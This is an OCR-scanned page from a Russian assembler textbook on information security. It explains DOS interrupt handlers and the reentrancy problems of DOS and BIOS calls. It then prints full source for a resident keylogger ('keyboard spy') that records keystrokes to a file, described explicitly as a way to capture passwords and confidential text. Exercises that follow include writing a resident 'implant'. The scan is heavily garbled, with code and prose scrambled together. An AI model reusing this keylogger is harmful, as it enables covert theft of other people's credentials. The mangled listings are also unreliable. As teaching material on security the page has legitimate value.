Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [ 16 ] 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

Ассемблер в задачах защиты 1 ; ФоР Чии

New09h: push

al, 60h al, MyKey MyHandler ax

; Команда jmp cs: Old09h DB OEAh

Old09hOff DD ?

Old09hSeg DD ?

; КОП команда jmp FAR PTR

MyHandler:

; Прикладная обработка

; Формирование сигнала подтверждения ввода ; на входе старшего разряда порта ВВ 61h

push

al, 61h ax

al, 80h 61h, al ax

61h, al

; Формирование приказа EOI mov al, 20h out 20h, al

pop iret

В результате сбоев аппаратуры или ошибочных действий пользователя может сложиться ситуация, когда дальнейшая работа программы оказывается невозможной. В этом случае управление получает специальный обработчик прерывания 24h {критическая ошибка). Пользователь может и сам прервать программу, нажав комбинацию клавиш Ctrl-C или Ctrl-Break. При этом управление получают обработчики прерываний соответственно 23h и IBh, инициирующие процесс завершения. Этот сервис, к сожалению, ориентирован только на обычные профаммы и не будет работать в TSR-профаммах. При разработке резидентных профамм необходимо предусматривать либо собственную обработку исключительных ситуаций, либо по крайней мере отменять существующую.

-дава 1 Основы программирования на Ассемблере IBM PC 109

j.3.8. Использование системных вызовов

в обработчиках внешних аппаратных прерываний

Системные функции DOS и BIOS нереентераб&чьны, т. е. не допускают повторного вхождения. Это означает, что одна копия функции в памяти не может одновременно вызываться несколькими процессами, так как различные реализации этой функции оказывают влияние друг на друга. Указанный факт существенно затрудняет написание обработчиков внешних аппаратньге прерываний, использующих в своей работе системные вызовы. Внешние аппаратные прерьшания происходят в случайные моменты времени, они могут возникнуть в том числе и тогда, когда процессор занят обработкой одного из системньге прерываний.

Причины нереентерабельности функций DOS и BIOS различны. Причиной нереентерабельности функций DOS является использование ими своего собственного стека (а точнее одного из трех внутренних стеков DOS), в результате при повторном входе в процедуру обработчика после записи информации в стек оказываются уничтоженными данные, записанные в него при первом выполнении процедуры.

В результате самым простым способом вывода информации на экран в обработчике внешних аппаратных прерываний является прямая запись данных в видеобуфер. Вызов файловых функций можно осуществить, если воспользоваться следующим фактом. Все функции DOS можно условнс/разделить на две фуппы - функции с номерами из диапазона Olh ... OCh, т. е. функции ввода-вывода, и все оставшиеся функции (в том числе файловые), при этом каждая фуппа функций работает со своим стеком. Функции ввода при своей работе вызывают профаммное прерывание INT 28Ь, системный обработчик которого содержит единственную команду IRET. Прикладная профамма, осуществляющая перехват этого прерывания, получив управление по команде INT 28h, может быть уверена, что в этот момент работает функция, использующая стек ввода-вывода, и поэтому допустим вызов файловых функций DOS, работающих с дисковым стеком.

Большинство функций BIOS фоормируют на входах соответствующего устройстве некую последовательность сигналов, временная диафамма которой специфицированг ДЛЯ каждого конкретного УВВ. Именно это и является причиной нереентерабельносп-функций BIOS, так как при повторном входе в процедуру обработчика прерывания с тел номером, требуемая последовательность сигналов на входах УВВ не будет получена не сформировав до конца заданную последовательность сигналов, мы начинаем е< повторную генерацию.

Рассмотрим пути преодоления рассмотренной проблемы на примере прерывания BIOS 13h. Прикладная профамма, содержащая в обработчике вненшних аппаратных преры ваний процедуру Procl3h, использующую в своей работе вызовы этого прерывания, должнс "°-чучать управление при входе в системный обработчик INT 13h и при выходе из него

этом в первом случае (при входе) прикладной обработчик прерывания 13h устанав



Команда прямого дальнего вызова процедуры DB 9Ah ; КОП

01dl3hOff 01dl3hSeg

DW DW

Адрес перехода

dec iret

cs: Flagl3h

;==== Перехватчик прерывания от таймера -= NewOSh: pushf

Команда прямого дальнего вызова процедуры DB 9Ah ; КОП

OldOShOff OldOBhSeg

DW DW

Адрес перехода

OutOfHandlerOSh:

cmp jz

call dec

Iret

cs: ReqProcl3h, 1

OutOfHandlerOSh ;

cs: Flagl3h, 1 ; OutOfHandlerOSh ;

Procl3h

cs: ReqProcl3h

; Есть запрос на ; выполнение Procl3h ? Если нет, на выход из

; обработчика Прерывание 13h занято ? Если да, на выход из

; обработчика Вызов Procl3h Сброс флага

;==== Обработчик внешнего аппаратного прерывания ReqProcl3h DB О

Oldint DD ?

Newint:

cs: Flagl3h, 1 ; Прерывание 13h занято ? SetFlag ; Если да, на установку флага

Procl3h

SetFlag: inc Procl3h:

cmp jz

call iret

cs: ReqProcl3h ; Установка флага iret

Процедура Procl3h ====

int ret

1.3.9. Программа N 3. Клавиатурный шпион

Программа сохраняет вкен-коды нажатых и отжатых клавиш в файле MYFILE.BIN,- перехватывая прерывание 09h. ======

Может использоваться для получения информации о вводимых конфиденциальных текстах, паролях пользователей и т. п. =

. MODEL tiny . CODE ORG 10Oh Segin: jmp Install

=== Данные резидентной секции =

01d09h 01d28h EnWrFile DB EnWrBuf DB FName

Max = Count Buf

DD DD 0 1

New09h:

? ; Ячейка для хранения "старого" ВП 09h

? ; Ячейка для хранения "старого" ВП 28h

; Флаг разрешения записи в файл ; Флаг разрешения записи в буфер myfile.bin,О ; Имя файла в формате ASCIIZ ; Число нажатий и отжатий клавиш ; Счетчик операций записи в буфер lOOh DUP (?)

; Буфер для записи ; скен-кодов нажатых клавиш Наш обработчик прерывания 09h ==============================

push ds

ливает флаг Flagl3h занятости прерывания 13h, а во втором случае (при выходе) этот флаг сбрасывает.

Обработчик внешнего аппаратного прерывания перед вызовом "опасной" процедурь Procl3h опрашивает этот флаг и в случае обнаружения О передает управление Procl31i а после ее выполнения завершает свою работу. В противном случае, т. е. при обнаружении факта занятости прерывания 13h (Flagl3h = 1) он устанавливает флаг ReqProcl3h и, не выполнив процедуру Procl3h, завершает свою работу. При получении управления по прерыванию от таймера, перехватчик которого в этом случае также должен быть в составе программы, после выполнения системной процедуры происходит анализ флагов ReqProcl3h HFlagl3h. В случае обнаружения ситуации ReqProcl3h = 1& Flagl3h = О прикладной обработчик прерывания от таймера вызывает процедуру Procl3h, после ее выполнения сбрасывает флаг ReqProcl3h и завершает свою работу. В любом другом случае обработчик прерывания от таймера, не совершая больше никаких действий, завершает свою работу.

Примеры

;==== Перехватчик прерывания INT 13h ===============================

FlaglSh DB О

Newl3h: inc cs: Flagl3h pushf



Ассемблер в задачах защита информации


push cs pop ds

Проверим флаг EnWrBuf, если EnWrBuf = 1, запись в буфер Buf, в противном случае - переход на "старый" обработчик 09h EnWrBuf, О OutOfHandler09h ах bx

al, 60h ; Считывание скен-кода клавиши bx. Count ; Считывание значения Count

Buf[bx],al ; Запись скен-кодав-буфер Buf

Count ; Увеличение содержимого Count на 1

bx, Мах ; Сравнение значения Count ; со значением Мах

cmp jz

push

BufNotFull: OutOfHandler09h:

jnz mov mov

pop jmp

BufNotFull EnWrBuf, 0 EnWrFile, 1

bx ax

Буфер полон

Разрешение записи в файл

DWORD PTR.cs: 01d09h

; переход на "старый ;===== Наш обработчик прерывания 28h =============================:

New28h: push ds

push cs pop ds ; Переход на "старьй" обработчик 28h pushf

call DWORD PTR 01d28h ; Если EnWrFile = 0, на выход из обработчика, в противном ; случае - запись содержимого буфера Buf в файл key.bin cmp EnWrFile, О jz OutOfHandler28h

Запись содержимого буфера Buf в файл myfile.bin ах Ьх СХ dx ah, 3ch cx, 2

OFFSET FName

обработчик 09h

push mov mov mov int jc mov mov mov mov int mov int

dx, 21h EndWr ax

Атрибут файла Открытие файла

bx, ah,

40h lOOh

OFFSET Buf

ah, 3eh 21h

Запись в файл Закрытие файла

Глава 1 • Основы программирования на Ассемблере IBM PC 113

EndWr:

OfHandler28h:

mov pop

EnWrFile, 0 dx cx bx ax

pop iret

ResSize = $ " Begin

.5==== Установочная секция программы ===============================

install:

; Чтение "старого" ВП 09h и запись его в ячейку Old09h. ; Запись в таблицу векторов прерываний "нового" ВП 09h

mov ах, 3509h

int 21h

mov WORD PTR Old09h, bx mov WORD PTR Old09h+2, es mov ax, 2509h mov dx, OFFSET New09h int 21h

; Чтение "старого" ВП 28h, запись его в ячейку 01d28h, ; запись в таблицу векторов прерываний "нового" ВП 28h

mov ах, 3528h

int 21h

mov WORD PTR 01d28h, bx mov WORD PTR/01d28h+2, es mov ax, 25h mov dx, OFFSET New28h int 21h

; Завершение программы и оставление ее резидентной mov ах, 3100h mov dx,(ResSize+10fh)/16 int 21h END Begin

Задания для самостоятельной работы

1) Разработать программу контроля целостности файлов методом сравнения с эталонными значениями контрольных сумм (КС) файлов, хранящимися в специальном файле-справочнике. Процедуру формирования КС области памяти оформить как обработчик прерывания INT 60h.

2) Разработать резидентную программу-закладку, меняющую местами функщюнальное назначение клавиш F3 и F10.

Разработать резидентную программу-сторож, контролирующую процесс установки TSR-программ по прерыванию INT 21h, функция 31h. Установка резидентной программы разрешается только в том случае, когда КС резидентной секции равно 0. Предусмотреть восстановление таблицы векторов прерываний при отказе в установке.



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [ 16 ] 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88